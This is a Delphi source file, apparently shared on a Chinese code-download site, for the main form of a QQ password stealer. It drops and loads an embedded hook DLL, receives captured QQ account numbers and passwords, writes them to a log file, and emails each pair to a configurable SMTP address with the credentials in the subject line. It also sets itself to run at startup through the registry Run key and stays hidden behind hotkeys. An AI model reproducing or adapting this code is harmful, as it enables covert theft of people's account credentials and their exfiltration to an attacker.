Mainfrm.pas
上传用户:jiansibo
上传日期:2015-07-04
资源大小:524k
文件大小:28k
- unit Mainfrm;
- interface
- uses
- Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
- ComCtrls, StdCtrls,inifiles,registry,passwordfrm,types, Grids,
- WinshoeMessage, Winshoes, SMTPWinshoe, ExtCtrls, RXCtrls;
- type
- THookON=procedure;stdcall;
- THookOff=procedure; stdcall;
- TGQPFRM = class(TForm)
- PageControl1: TPageControl;
- TabSheet1: TTabSheet;
- TabSheet2: TTabSheet;
- TabSheet3: TTabSheet;
- GroupBox1: TGroupBox;
- EdMailServer: TEdit;
- EdMailPort: TEdit;
- Cbautosendmail: TCheckBox;
- Label1: TLabel;
- Label2: TLabel;
- EdMailUsername: TEdit;
- Label3: TLabel;
- EdMailPassword: TEdit;
- Label4: TLabel;
- Label5: TLabel;
- EdMailAddress: TEdit;
- BuMailTest: TButton;
- GroupBox2: TGroupBox;
- Label6: TLabel;
- Label7: TLabel;
- Label8: TLabel;
- EdOldPass: TEdit;
- EdNewPass1: TEdit;
- EdNewPass2: TEdit;
- CBPASS: TCheckBox;
- GroupBox3: TGroupBox;
- Label9: TLabel;
- EDataFile: TEdit;
- Button2: TButton;
- Button3: TButton;
- Button4: TButton;
- GroupBox4: TGroupBox;
- RbCusOptHotkey: TRadioButton;
- RbDefOptHotkey: TRadioButton;
- LBDefOptHotkey: TLabel;
- EdCusOptHotkey: TEdit;
- GroupBox5: TGroupBox;
- RbCusDataHotkey: TRadioButton;
- RbDefDataHotkey: TRadioButton;
- LbDefDataHotkey: TLabel;
- EdCusDatahotkey: TEdit;
- CBAutoRun: TCheckBox;
- TabSheet4: TTabSheet;
- GroupBox7: TGroupBox;
- TabSheet5: TTabSheet;
- CBServerCheck: TCheckBox;
- SMTP: TWinshoeSMTP;
- MSG: TWinshoeMessage;
- lbabout: TLabel;
- Label10: TLabel;
- Label12: TLabel;
- Bevel1: TBevel;
- Image1: TImage;
- SaveDialog1: TSaveDialog;
- RxLabel1: TRxLabel;
- LV: TListView;
- Label11: TLabel;
- procedure Button4Click(Sender: TObject);
- procedure Button3Click(Sender: TObject);
- procedure CBPASSClick(Sender: TObject);
- procedure RbCusOptHotkeyClick(Sender: TObject);
- procedure RbDefOptHotkeyClick(Sender: TObject);
- procedure RbDefDataHotkeyClick(Sender: TObject);
- procedure RbCusDataHotkeyClick(Sender: TObject);
- procedure CbautosendmailClick(Sender: TObject);
- procedure FormCreate(Sender: TObject);
- procedure EdCusOptHotkeyKeyDown(Sender: TObject; var Key: Word;
- Shift: TShiftState);
- procedure EdCusDatahotkeyKeyDown(Sender: TObject; var Key: Word;
- Shift: TShiftState);
- procedure EdCusOptHotkeyKeyPress(Sender: TObject; var Key: Char);
- procedure EdCusDatahotkeyKeyPress(Sender: TObject; var Key: Char);
- procedure CBServerCheckClick(Sender: TObject);
- procedure BuMailTestClick(Sender: TObject);
- procedure Button2Click(Sender: TObject);
- procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);
- private
- { Private declarations }
- dllhandle:THandle;
- DllName:string;
- HookOn:THookOn;HookOff:THookOff;
- mkey1,mkey2:string;
- ftemOption:Toption;
- OptWinhotkeyid,CloseAppHotKeyId:integer;
- procedure hotkeypress(var msg:TWMHotKey);message wm_hotkey;
- procedure GetData(var t: TWmCopyData); message WM_COPYDATA;
- function dLoadDll:boolean;
- function initapp:boolean;
- procedure closeapp;
- procedure SetOption;
- procedure SetDefaultOption;
- procedure WriteOptionFile;
- procedure readOptionFile;
- procedure UpdataForm;
- procedure SetSystem;
- function GetKeyStr(key:word):string;
- function CheckInput:boolean;
- function CheckNetTabSheet:boolean;
- procedure sendmail(HostAddress:string;port:integer;UserID:string;Password:string;Emailaddress:string;
- qqnum:string;qqpass:string);
- procedure TestSendMail(HostAddress,port,UserID,Password,Emailaddress:string);
- function WhetherOnLine:boolean;
- public
- { Public declarations }
- end;
- TSenderThread = class(TThread)
- public
- mstate:boolean;
- mSMTP: TWinshoeSMTP;
- mMsg: TWinshoeMessage;
- procedure Execute; override;
- end;
- function InternetCheckConnection(lpszUrl: PAnsiChar; dwFlags: DWORD;
- dwReserved: DWORD): BOOL; stdcall; external 'wininet.dll' name 'InternetCheckConnectionA';
- var
- GQPFRM: TGQPFRM;
- implementation
- {$R *.DFM}
- function TGQPFRM.GetKeyStr(key:word):string;
- var
- mkey:string;
- begin
- // if key in [16..18] then exit;
- if (key in [65..90]) or (key in [48..57]) then mkey:=char(key);
- case key of
- VK_BACK:mkey:= 'Back';
- VK_NUMPAD1:mkey:= 'NUM 1';
- VK_NUMPAD2:mkey:= 'NUM 2';
- VK_NUMPAD3:mkey:= 'NUM 3';
- VK_NUMPAD4:mkey:= 'NUM 4';
- VK_NUMPAD5:mkey:= 'NUM 5';
- VK_NUMPAD6:mkey:= 'NUM 6';
- VK_NUMPAD7:mkey:= 'NUM 7';
- VK_NUMPAD8:mkey:= 'NUM 8';
- VK_NUMPAD9:mkey:= 'NUM 9';
- VK_NUMPAD0:mkey:= 'NUM 0';
- VK_MULTIPLY:mkey:= 'NUM *';
- VK_ADD: mkey:= 'NUM +';
- VK_SUBTRACT:mkey:= 'NUM -';
- VK_DECIMAL: mkey:= 'NUM .';
- VK_DIVIDE: mkey:= 'NUM /';
- VK_NUMLOCK:mkey:='NUMLOCK';
- VK_SCROLL :mkey:='SCROLLLOCK';
- VK_PAUSE :mkey:='PAUSE';
- VK_INSERT :mkey:='INSERT';
- VK_DELETE :mkey:='DELETE';
- VK_PRIOR :mkey:='PageUp';
- VK_NEXT :mkey:='PageDown';
- VK_END :mkey:='END';
- VK_HOME :mkey:='HOME';
- VK_LEFT :mkey:='LEFT';
- VK_UP :mkey:='UP';
- VK_RIGHT :mkey:='RIGHT';
- VK_DOWN :mkey:='DOWN';
- VK_ESCAPE :mkey:='ESC';
- VK_F1 :mkey:='F1';
- VK_F2 :mkey:='F2';
- VK_F3 :mkey:='F3';
- VK_F4 :mkey:='F4';
- VK_F5 :mkey:='F5';
- VK_F6 :mkey:='F6';
- VK_F7 :mkey:='F7';
- VK_F8 :mkey:='F8';
- VK_F9 :mkey:='F9';
- VK_F10 :mkey:='F10';
- VK_F11 :mkey:='F11';
- VK_F12 :mkey:='F12';
- 192:mkey:='`';
- 189:mkey:='-';
- 187:mkey:='=';
- 220:mkey:='';
- VK_RETURN:mkey:='ENTER';
- 219:mkey:='[';
- 221:mkey:=']';
- 20:mkey:='CAPSLOCK';
- 186:mkey:=';';
- 222:mkey:='''';
- 188:mkey:=',';
- 190:mkey:='.';
- 191:mkey:='/';
- VK_LWIN:mkey:='LWIN';
- VK_RWIN:mkey:='RWIN';
- VK_SPACE:mkey:='SPACE';
- end;
- result:=mkey;
- end;
- procedure TGQPFRM.GetData(var t: TWmCopyData);
- var
- i:integer;
- qqnumpass:string;
- qqnum,qqpass:string;
- qqdatafile:textfile;
- mitem:TlistItem;
- begin
- qqnumpass:=StrPas(t.CopyDataStruct.lpData);
- i:=pos('/',qqnumpass);
- qqnum:=copy(qqnumpass,1,i-1);
- qqpass:=copy(qqnumpass,i+1,length(qqnumpass)-i);
- mitem:=lv.Items.Add;
- mitem.Caption:=qqnum;
- mitem.SubItems.Add(qqpass);
- if AppOption.DataFile<>''then
- begin
- assignfile(qqdatafile,AppOption.DataFile);
- if not fileexists(AppOption.DataFile) then
- begin
- rewrite(qqdatafile);
- end;
- append(qqdatafile);
- writeln(qqdatafile,'Number:'+qqnum+' Password:'+qqpass);
- closefile(qqdatafile);
- end;
- if AppOption.autosendmail then
- begin
- sendmail(AppOption.mailserver,appoption.mailPort,appoption.mailUserName,
- AppOption.mailPassword,AppOption.MailAddress,qqnum,qqpass);
- end;
- end;
- procedure TGQPFRM.hotkeypress(var msg:TWMHotKey);
- begin
- if msg.HotKey=OptWinhotkeyid then
- begin
- if not self.Visible then
- begin
- UpdataForm;
- if AppOption.password<>'' then
- PasswordDlg.Show
- else
- begin
- self.Visible:=true;
- end;
- end;
- end;
- if msg.HotKey=CloseAppHotKeyId then
- if not self.Visible then close;
- end;
- procedure TGQPFRM.SetDefaultOption;
- begin
- with AppOption do
- begin
- autorun:=false;
- password:='';
- DataFile:='';
- OptWinHotKey.cusHotkey:=false;
- OptWinHotkey.ctrl:=true;
- OptWinHotkey.shift:=true;
- OptWinHotkey.alt:=true;
- OptWinHotkey.key:=vk_F7;
- CloseAppHotKey.cusHotkey:=false;
- CloseAppHotKey.ctrl:=true;
- CloseAppHotKey.shift:=true;
- CloseAppHotKey.alt:=true;
- CloseAppHotKey.key:=vk_F8;
- autosendmail:=false;
- mailPort:=25;
- servercheck:=false;
- end;
- end;
- procedure TGQPFRM.WriteOptionFile;
- var
- inif:Tinifile;
- begin
- inif:=Tinifile.Create(copy(application.ExeName,1,length(application.ExeName)-4)+'.ini');
- inif.WriteBool('general','autorun',appoption.autorun);
- inif.WriteString('general','password',appoption.password);
- inif.WriteString('general','DataFile',appoption.Datafile);
- inif.WriteBool('hotkey','OptWinHotkeycus',appoption.OptWinHotkey.cusHotkey);
- inif.WriteBool('hotkey','OptWinHotkeyCtrl',appoption.optwinhotkey.ctrl);
- inif.WriteBool('hotkey','OptWinHotkeyShift',appoption.optwinhotkey.Shift);
- inif.WriteBool('hotkey','OptWinHotkeyAlt',appoption.optwinhotkey.Alt);
- inif.Writeinteger('hotkey','OptWinHotkeykey',appoption.Optwinhotkey.key);
- inif.WriteBool('hotkey','CloseAppHotKeycus',appoption.CloseAppHotKey.cusHotkey);
- inif.WriteBool('hotkey','CloseAppHotKeyCtrl',appoption.CloseAppHotKey.Ctrl);
- inif.WriteBool('hotkey','CloseAppHotKeyShift',appoption.CloseAppHotKey.Shift);
- inif.WriteBool('hotkey','CloseAppHotKeyAlt',appoption.CloseAppHotKey.Alt);
- inif.Writeinteger('hotkey','CloseAppHotKeykey',appoption.CloseAppHotKey.key);
- inif.WriteBool('network','autosedmail',appoption.autosendmail);
- inif.WriteString('network','mailserver',appoption.mailserver);
- inif.WriteBool('network','servercheck',appoption.servercheck);
- inif.WriteString('network','mailUserName',appoption.mailUserName);
- inif.WriteString('network','mailPassword',appoption.mailPassword);
- inif.WriteString('network','MailAddress',appoption.MailAddress);
- inif.WriteInteger('network','mailPort',appoption.mailPort);
- inif.Free;
- end;
- procedure TGQPFRM.readOptionFile;
- var
- inif:Tinifile;
- begin
- inif:=Tinifile.Create(copy(application.ExeName,1,length(application.ExeName)-4)+'.ini');
- appoption.autorun:=inif.readBool('general','autorun',false);
- appoption.password:=inif.readString('general','password','');
- appoption.datafile:=inif.readstring('general','DataFile','');
- appoption.OptWinHotkey.cusHotkey:=inif.readBool('hotkey','OptWinHotkeycus',false);
- appoption.optwinhotkey.ctrl:=inif.readBool('hotkey','OptWinHotkeyCtrl',false);
- appoption.optwinhotkey.Shift:=inif.readBool('hotkey','OptWinHotkeyShift',false);
- appoption.optwinhotkey.Alt:=inif.readBool('hotkey','OptWinHotkeyAlt',false);
- appoption.Optwinhotkey.key:=inif.readinteger('hotkey','OptWinHotkeykey',0);
- appoption.CloseAppHotKey.cusHotkey:=inif.readBool('hotkey','CloseAppHotKeycus',false);
- appoption.CloseAppHotKey.Ctrl:=inif.readBool('hotkey','CloseAppHotKeyCtrl',false);
- appoption.CloseAppHotKey.Shift:=inif.readBool('hotkey','CloseAppHotKeyShift',false);
- appoption.CloseAppHotKey.Alt:=inif.readBool('hotkey','CloseAppHotKeyAlt',false);
- appoption.CloseAppHotKey.key:=inif.readinteger('hotkey','CloseAppHotKeykey',0);
- appoption.autosendmail:=inif.readBool('network','autosedmail',false);
- appoption.mailserver:=inif.readString('network','mailserver','');
- appoption.MailAddress:=inif.readString('network','MailAddress','');
- appoption.mailPort:=inif.readInteger('network','mailPort',25);
- appoption.servercheck:=inif.readBool('network','servercheck',false);
- appoption.mailUserName:=inif.readString('network','mailUserName','');
- appoption.mailPassword:=inif.readString('network','mailPassword','');
- inif.Free;
- end;
-
- procedure TGQPFRM.UpdataForm;
- var
- mhotkey:string;
- begin
- ftemoption:=appoption;
- self.PageControl1.ActivePage:=TabSheet5;
- with appoption do
- begin
- if autorun then
- begin self.CBAutoRun.Checked:=true;end
- else
- begin self.CBAutoRun.Checked:=false;end;
- self.CBPASS.Checked:=false;
- self.EdOldPass.Text:='';
- self.EdOldPass.Enabled:=false;
- self.EdNewPass1.Text:='';
- self.EdNewPass1.Enabled:=false;
- self.EdNewPass2.Text:='';
- self.EdNewPass2.Enabled:=false;
- self.EDataFile.Text:=DataFile;
- if optwinhotkey.cushotkey=true then
- begin
- self.RbCusOptHotkey.Checked:=true;
- if optwinhotkey.ctrl then mhotkey:='Ctrl';
- if optwinhotkey.shift then mhotkey:=mhotkey+'+shift';
- if optwinhotkey.alt then mhotkey:=mhotkey+'+Alt';
- if optwinhotkey.key<>0 then mhotkey:=mhotkey+'+'+GetKeyStr(optwinhotkey.key);
- self.EdCusOptHotkey.Text:=mhotkey;
- end
- else
- begin
- self.RbDefOptHotkey.Checked:=true;
- self.EdCusOptHotkey.Text:='';
- end;
- if CloseAppHotKey.cushotkey=true then
- begin
- self.RbCusDataHotkey.Checked:=true;
- if CloseAppHotKey.ctrl then mhotkey:='Ctrl';
- if CloseAppHotKey.shift then mhotkey:=mhotkey+'+shift';
- if CloseAppHotKey.alt then mhotkey:=mhotkey+'+Alt';
- if CloseAppHotKey.key<>0 then mhotkey:=mhotkey+'+'+GetKeyStr(CloseAppHotKey.key);
- self.EdCusDatahotkey.Text:=mhotkey;
- end
- else
- begin
- self.RbDefDataHotkey.Checked:=true;
- self.EdCusDatahotkey.Text:='';
- end;
- if autosendmail then
- begin
- self.Cbautosendmail.Checked:=true;
- CbautosendmailClick(self);
- self.EdMailServer.Text:=mailserver;
- self.EdMailAddress.Text:=mailaddress;
- self.EdMailPort.Text:=inttostr(mailport);
- if servercheck then
- begin
- self.CBServerCheck.Checked:=true;
- cbservercheckclick(self);
- self.EdMailUsername.Text:=mailusername;
- self.EdMailPassword.Text:=mailpassword;
- end
- else
- begin
- self.CBServerCheck.Checked:=false;
- self.EdMailUsername.Text:='';
- self.EdMailPassword.Text:='';
- end;
- end
- else
- begin
- self.Cbautosendmail.Checked:=false;
- self.EdMailServer.Text:='';
- self.EdMailUsername.Text:='';
- self.EdMailPassword.Text:='';
- self.EdMailAddress.Text:='';
- self.EdMailPort.Text:=inttostr(mailport);
- self.CBServerCheck.Enabled:=false;
- CbautosendmailClick(self);
- end;
- end;
- end;
- procedure TGQPFRM.SetSystem;
- var
- freg:Tregistry;
- Fshift:Word;
- begin
-
- freg:=Tregistry.create;
- freg.rootkey:=HKEY_LOCAL_MACHINE;
- freg.OpenKey('SOFTWAREMicrosoftWindowsCurrentVersionRun',True);
- if appoption.autorun then
- begin
- freg.DeleteValue('GQP');
- freg.WriteString('GQP',application.ExeName);
- end
- else
- begin
- freg.DeleteValue('GQP');
- end;
- freg.Closekey;
- freg.Free;
- Fshift:=0;
- if appoption.OptWinHotkey.shift then Fshift:=MOD_SHIFT;
- if appoption.OptWinHotkey.ctrl then Fshift:=Fshift or MOD_CONTROL;
- if appoption.OptWinHotkey.alt then Fshift:=Fshift or MOD_ALT;
- registerhotkey(handle,OptWinhotkeyid,fshift,appoption.OptWinHotkey.key);
- Fshift:=0;
- if appoption.CloseAppHotKey.shift then Fshift:=MOD_SHIFT;
- if appoption.CloseAppHotKey.ctrl then Fshift:=Fshift or MOD_CONTROL;
- if appoption.CloseAppHotKey.alt then Fshift:=Fshift or MOD_ALT;
- registerhotkey(handle,CloseAppHotKeyId,fshift,appoption.CloseAppHotKey.key);
- end;
- procedure TGQPFRM.SetOption;
- begin
- //if AppOption=ftemOption then exit;
- AppOption:=ftemOption;
- end;
- function TGQPFRM.dLoadDll:boolean;
- var
- Res: TResourceStream;
- begin
- result:=false;
- dllname:=copy(application.ExeName,1,length(application.ExeName)-4)+'.dll';
- // dllname:=copy(application.ExeName,1,length(application.ExeName)-4)+'l.dll';
- if not FileExists(dllname) then
- begin
- Res := TResourceStream.Create(Hinstance, 'MYDAT', RT_RCDATA);
- Res.SavetoFile(dllname);
- Res.Free;
- end;
-
- dllhandle := LoadLibrary(pchar(dllname));
- try
- if dllhandle <> 0 then
- begin
- @HookOn := GetProcAddress(dllhandle, 'HookOn');
- @HookOff:= GetProcAddress(dllhandle, 'HookOff');
- if (@HookOn=nil)or(@HookOff=nil) then
- begin
- showmessage('文件已损坏');
- raise exception.Create('err');
- end;
- end
- else
- begin
- showmessage('dll不存在');
- raise exception.Create('err');
- end;
- except
- on exception do
- begin
- FreeLibrary(dllhandle);
- exit;
- end;
- end;
- result:=true;
- end;
- function TGQPFRM.initapp:boolean;
- begin
- result:=false;
- if dLoadDll=false then exit;
-
- if not FileExists(copy(application.ExeName,1,length(application.ExeName)-4)+'.ini') then
- begin
- SetDefaultOption;
- WriteOptionFile;
- end
- else
- begin
- readOptionFile;
- end;
- // 根据控制信息设置窗口
- UpdataForm;
- //设置系统
- //定义系统热键
- OptWinhotkeyid:=GlobalAddAtom(pchar('OptWinHotkey'))-$C000;
- CloseAppHotKeyId:=GlobalAddAtom(pchar('CloseAppHotKey'))-$C000;
-
- SetSystem;
- hookon;
- result:=true;
- end;
- procedure TGQPFRM.closeapp;
- begin
- hookoff;
- //卸载热键
- unregisterhotkey(handle,OptWinhotkeyid);
- if OptWinhotkeyid<>0 then DeleteAtom(OptWinhotkeyid);
- unregisterhotkey(handle,CloseAppHotKeyId);
- if CloseAppHotKeyId<>0 then DeleteAtom(CloseAppHotKeyId);
- if dllhandle<>0 then FreeLibrary(dllhandle);
- // sleep(100);
- // if FileExists(dllname) then deletefile(dllname);
-
- {
- 关闭hook
- 卸载dll
- 卸载热键
- 卸载内存映象
- }
- end;
- procedure TGQPFRM.Button4Click(Sender: TObject);
- begin
- self.Visible:=false;
- end;
- function TGQPFRM.CheckNetTabSheet:boolean;
- begin
- result:=false;
- ftemoption.autosendmail:=self.Cbautosendmail.Checked;
- if self.Cbautosendmail.Checked then
- begin
- if self.EdMailServer.Text='' then begin showmessage('请填写smtp服务器');exit;end;
- if self.EdMailPort.Text='' then begin showmessage('请填写端口号');exit;end;
- if self.EdMailAddress.Text=''then begin showmessage('请填写收件人邮箱');exit;end;
- ftemoption.mailserver:=self.EdMailServer.Text;
- ftemoption.MailAddress:=self.EdMailAddress.Text;
- try
- ftemoption.mailPort:=strtoint(self.EdMailPort.Text);
- except
- on econverterror do
- begin
- showmessage('端口号输入错误!');
- exit;
- end;
- end;
- ftemoption.servercheck:=self.CBServerCheck.Checked;
- if self.CBServerCheck.Checked then
- begin
- if self.EdMailUsername.Text='' then begin showmessage('请填写验证用户');exit;end;
- if self.EdMailPassword.Text=''then begin showmessage('请填写验证密码');exit;end;
- ftemoption.mailUserName:=self.EdMailUsername.Text;
- ftemoption.mailPassword:=self.EdMailPassword.Text;
- end;
- end;
- result:=true;
- end;
- function TGQPFRM.CheckInput:boolean;
- begin
- result:=false;
- ftemoption.autorun:=CbAutoRun.Checked;
- if self.CBPASS.Checked then
- begin
- if self.EdOldPass.Text<>AppOption.password then
- begin
- showmessage('原始密码错误!');
- exit;
- end;
- if self.EdNewPass1.Text <>self.EdNewPass2.Text then
- begin
- showmessage('新密码和确认密码不一致!');
- exit;
- end;
- ftemoption.password:=self.EdNewPass2.Text;
- end
- else
- ftemoption.password:=appoption.password;
- if self.RbDefOptHotkey.Checked then
- begin
- ftemoption.OptWinHotkey.cusHotkey:=false;
- ftemoption.OptWinHotkey.ctrl:=true;
- ftemoption.OptWinHotkey.shift:=true;
- ftemoption.OptWinHotkey.alt:=true;
- ftemoption.OptWinHotkey.key:=VK_F7;
- end;
- if self.RbDefDataHotkey.Checked then
- begin
- ftemoption.CloseAppHotKey.cusHotkey:=false;
- ftemoption.CloseAppHotKey.ctrl:=true;
- ftemoption.CloseAppHotKey.shift:=true;
- ftemoption.CloseAppHotKey.alt:=true;
- ftemoption.CloseAppHotKey.key:=VK_F8;
- end;
- if self.RbCusOptHotkey.Checked then
- begin
- ftemoption.OptWinHotkey.cusHotkey:=true;
- if self.EdCusOptHotkey.Text ='' then
- begin showmessage('自定义热键不能为空!'); exit; end;
- if not(ftemoption.OptWinHotkey.shift or ftemoption.OptWinHotkey.ctrl or
- ftemoption.OptWinHotkey.alt) then begin showmessage('热键不合法'); exit; end;
- if ftemoption.OptWinHotkey.key=0 then begin showmessage('热键不合法'); exit; end;
- end;
- if self.RbCusDataHotkey.Checked then
- begin
- ftemoption.CloseAppHotKey.cusHotkey:=true;
- if self.RbCusDataHotkey.Checked then
- if (self.EdCusDataHotkey.Text ='') then
- begin showmessage('自定义热键不能为空!'); exit; end;
- if not(ftemoption.CloseAppHotKey.shift or ftemoption.CloseAppHotKey.ctrl or
- ftemoption.CloseAppHotKey.alt) then begin showmessage('热键不合法'); exit; end;
- if ftemoption.CloseAppHotKey.key=0 then begin showmessage('热键不合法'); exit; end;
- end;
-
- if not CheckNetTabSheet then exit;
-
- result:=true;
- end;
- procedure TGQPFRM.Button3Click(Sender: TObject);
- begin
- if not CheckInput then exit;
- setOption;
- WriteOptionFile;
- SetSystem;
- self.Visible:=false;
- end;
- procedure TGQPFRM.CBPASSClick(Sender: TObject);
- begin
- if CBPass.Checked then
- begin
- EdOldPass.Enabled:=true;EdOldPass.Color:=clwindow;
- EdNewPass1.Enabled:=true;EdNewPass1.Color:=clwindow;
- EdNewPass2.Enabled:=true;EdNewPass2.Color:=clwindow;
- end
- else
- begin
- EdOldpass.Enabled:=false;EdOldPass.Color:=clinactiveborder;
- EdNewPass1.Enabled:=False;EdNewPass1.Color:=clinactiveborder;
- EdnewPass2.enabled:=false;EdnewPass2.Color:=clinactiveborder;
- end;
- end;
- procedure TGQPFRM.RbCusOptHotkeyClick(Sender: TObject);
- begin
- EdCusOptHotkey.Enabled:=true;
- EdCusOptHotkey.Color:=clwindow;
- end;
- procedure TGQPFRM.RbDefOptHotkeyClick(Sender: TObject);
- begin
- EdCusOptHotkey.Enabled:=false;
- EdCusOptHotkey.Color:=clinactiveborder;
- end;
- procedure TGQPFRM.RbDefDataHotkeyClick(Sender: TObject);
- begin
- EdCusDataHotkey.Enabled:=false;
- EdCusDataHotkey.Color:=clinactiveborder;
- end;
- procedure TGQPFRM.RbCusDataHotkeyClick(Sender: TObject);
- begin
- EdCusDataHotkey.Enabled:=true;
- EdCusDataHotkey.Color:=clwindow;
- end;
- procedure TGQPFRM.CbautosendmailClick(Sender: TObject);
- begin
- if Cbautosendmail.Checked then
- begin
- Edmailserver.Enabled:=true;Edmailserver.Color:=clwindow;
- EdmailAddress.Enabled:=true;EdmailAddress.Color:=clwindow;
- EdmailPort.Enabled:=true;EdmailPort.Color:=clwindow;
- cbservercheck.Enabled:=true;
- BuMailTest.Enabled:=true;
- end
- else
- begin
- Edmailserver.Enabled:=false;Edmailserver.Color:=clinactiveborder;
- EdmailAddress.Enabled:=false;EdmailAddress.Color:=clinactiveborder;
- EdmailPort.Enabled:=false;EdmailPort.Color:=clinactiveborder;
- cbservercheck.Checked:=false;
- cbservercheck.Enabled:=false;
- EdmailUserName.Enabled:=false;EdmailUserName.Color:=clinactiveborder;
- EdmailPassword.Enabled:=false;EdmailPassword.Color:=clinactiveborder;
- BuMailTest.Enabled:=false;
- end;
- end;
- procedure TGQPFRM.CBServerCheckClick(Sender: TObject);
- begin
- if CBServerCheck.Checked then
- begin
- EdmailUserName.Enabled:=true;EdmailUserName.Color:=clwindow;
- EdmailPassword.Enabled:=true;EdmailPassword.Color:=clwindow;
- end
- else
- begin
- EdmailUserName.Enabled:=false;EdmailUserName.Color:=clinactiveborder;
- EdmailPassword.Enabled:=false;EdmailPassword.Color:=clinactiveborder;
- end;
- end;
- procedure TGQPFRM.FormCreate(Sender: TObject);
- begin
- if initapp=false then application.Terminate;
- end;
- procedure TGQPFRM.EdCusOptHotkeyKeyDown(Sender: TObject; var Key: Word;
- Shift: TShiftState);
- var
- mstring:string;
- begin
- if not (key in [16..18]) then
- begin
- mkey1:=GetKeyStr(key);
- ftemoption.OptWinHotkey.key:=key;
- end;
-
- if ssShift in Shift then
- begin
- mstring:='Shift+';
- ftemoption.OptWinHotkey.shift:=true;
- end
- else
- ftemoption.OptWinHotkey.shift:=false;
-
- if ssCtrl in shift then
- begin
- mString:=mstring+'Ctrl+';
- ftemoption.OptWinHotkey.ctrl:=true;
- end
- else
- ftemoption.OptWinHotkey.ctrl:=false;
- if ssAlt in Shift then
- begin
- mString:=mstring+'ALT+';
- ftemoption.OptWinHotkey.alt:=true;
- end
- else
- ftemoption.OptWinHotkey.alt:=false;
-
- mString:=mString+mkey1;
- EdCusOptHotkey.Text:=mstring;
- end;
- procedure TGQPFRM.EdCusDatahotkeyKeyDown(Sender: TObject; var Key: Word;
- Shift: TShiftState);
- var
- mstring:string;
- begin
- if not (key in [16..18]) then
- begin
- mkey2:=GetKeyStr(key);
- ftemoption.CloseAppHotKey.key:=key;
- end;
- if ssShift in Shift then
- begin
- mstring:='Shift+';
- ftemoption.CloseAppHotKey.shift:=true;
- end
- else
- ftemoption.CloseAppHotKey.shift:=false;
-
- if ssCtrl in shift then
- begin
- mString:=mstring+'Ctrl+';
- ftemoption.CloseAppHotKey.ctrl:=true;
- end
- else
- ftemoption.CloseAppHotKey.ctrl:=false;
- if ssAlt in Shift then
- begin
- mString:=mstring+'ALT+';
- ftemoption.CloseAppHotKey.alt:=true;
- end
- else
- ftemoption.CloseAppHotKey.alt:=false;
-
- mString:=mString+mkey2;
- EdCusDatahotkey.Text:=mstring;
- end;
- procedure TGQPFRM.EdCusOptHotkeyKeyPress(Sender: TObject; var Key: Char);
- begin
- key:=#0;
- end;
- procedure TGQPFRM.EdCusDatahotkeyKeyPress(Sender: TObject; var Key: Char);
- begin
- key:=#0;
- end;
- procedure TGQPFRM.TestSendMail(HostAddress,port,UserID,Password,Emailaddress:string);
- var
- fromEmail:string;
- i:integer;
- begin
- if whetherOnLine=false then begin showmessage('请检查网络是否连通');exit;end;
- i:=pos('.',hostaddress);
- fromemail:=userId+'@'+copy(hostaddress,i+1,length(hostaddress)-i);
- try
- smtp.Port:=strtoint(port);
- except
- on econverterror do
- begin
- showmessage('端口输入错误');
- exit;
- end;
- end;
- SMTP.Host:=hostaddress;
- if self.CBServerCheck.Checked then
- begin
- SMTP.AuthenticationType:=atLogin;
- SMTP.UserID:=userId;
- SMTP.Password:=password;
- end
- else
- begin
- SMTP.AuthenticationType:=atnone;
- end;
- MSG.Too.Add(Emailaddress);
- MSG.From:='<'+fromemail+'>';
- MSG.Subject:='邮件测试成功';
- with TSenderThread.Create(True) do begin
- FreeOnTerminate := True;
- mstate:=false;
- mSMTP := SMTP;
- mMsg := Msg;
- Resume;
- end;
- end;
-
- procedure TGQPFRM.sendmail(HostAddress:string;port:integer;UserID:string;Password:string;Emailaddress:string;
- qqnum:string;qqpass:string);
- var
- fromEmail:string;
- i:integer;
- begin
- if whetherOnLine=false then begin exit;end;
- i:=pos('.',hostaddress);
- fromemail:=userId+'@'+copy(hostaddress,i+1,length(hostaddress)-i);
- try
- smtp.Port:=port;
- except
- on econverterror do
- begin
- showmessage('端口输入错误');
- exit;
- end;
- end;
- SMTP.Host:=hostaddress;
- if appoption.servercheck then
- begin
- SMTP.AuthenticationType:=atLogin;
- SMTP.UserID:=userId;
- SMTP.Password:=password;
- end
- else
- begin
- smtp.AuthenticationType:=atnone;
- end;
- MSG.Too.Add(Emailaddress);
- MSG.From:='QQ密码<'+fromemail+'>';
- MSG.Subject:='number:'+qqnum+' password:'+qqpass;
- with TSenderThread.Create(True) do begin
- FreeOnTerminate := True;
- mstate:=true;
- mSMTP := SMTP;
- mMsg := Msg;
- Resume;
- end;
- end;
- procedure TSenderThread.Execute;
- begin
- try
- mSMTP.Send(mMsg);
- if self.mstate=false then showmessage('邮件测试成功');
- except
- on EWinshoeResponseError do
- begin
- if mstate=false then showmessage('用户名或密码错误或E-mail地址有误');
- Terminate;
- end;
- on EWinshoeSocketError do
- begin
- if mstate=false then showmessage('邮件服务器地址错误');
- Terminate;
- end;
- else
- begin
- if mstate=false then showmessage('未知错误');
- terminate;
- end;
- end;
- end;
- function TGQPFRM.WhetherOnLine:boolean;
- begin
- if InternetCheckConnection('http://www.163.com/', 1, 0) then
- result:=true
- else
- result:=false;
- end;
- procedure TGQPFRM.BuMailTestClick(Sender: TObject);
- begin
- if not checkNetTabSheet then exit;
- self.TestSendMail(EdMailServer.Text,EdMailPort.Text,EdMailUsername.Text,EdMailPassword.Text,
- EdMailAddress.Text);
- end;
- procedure TGQPFRM.Button2Click(Sender: TObject);
- begin
- savedialog1.Filter:='文本文件 (*.txt)|*.TXT';
- savedialog1.FileName:=appoption.DataFile;
- if savedialog1.Execute then
- begin
- ftemoption.datafile:=savedialog1.FileName+'.txt';
- EDataFile.Text:=ftemoption.datafile;
- end;
- end;
- procedure TGQPFRM.FormCloseQuery(Sender: TObject; var CanClose: Boolean);
- begin
- if dllhandle<>0 then closeapp;
- canclose:=true;
- end;
- end.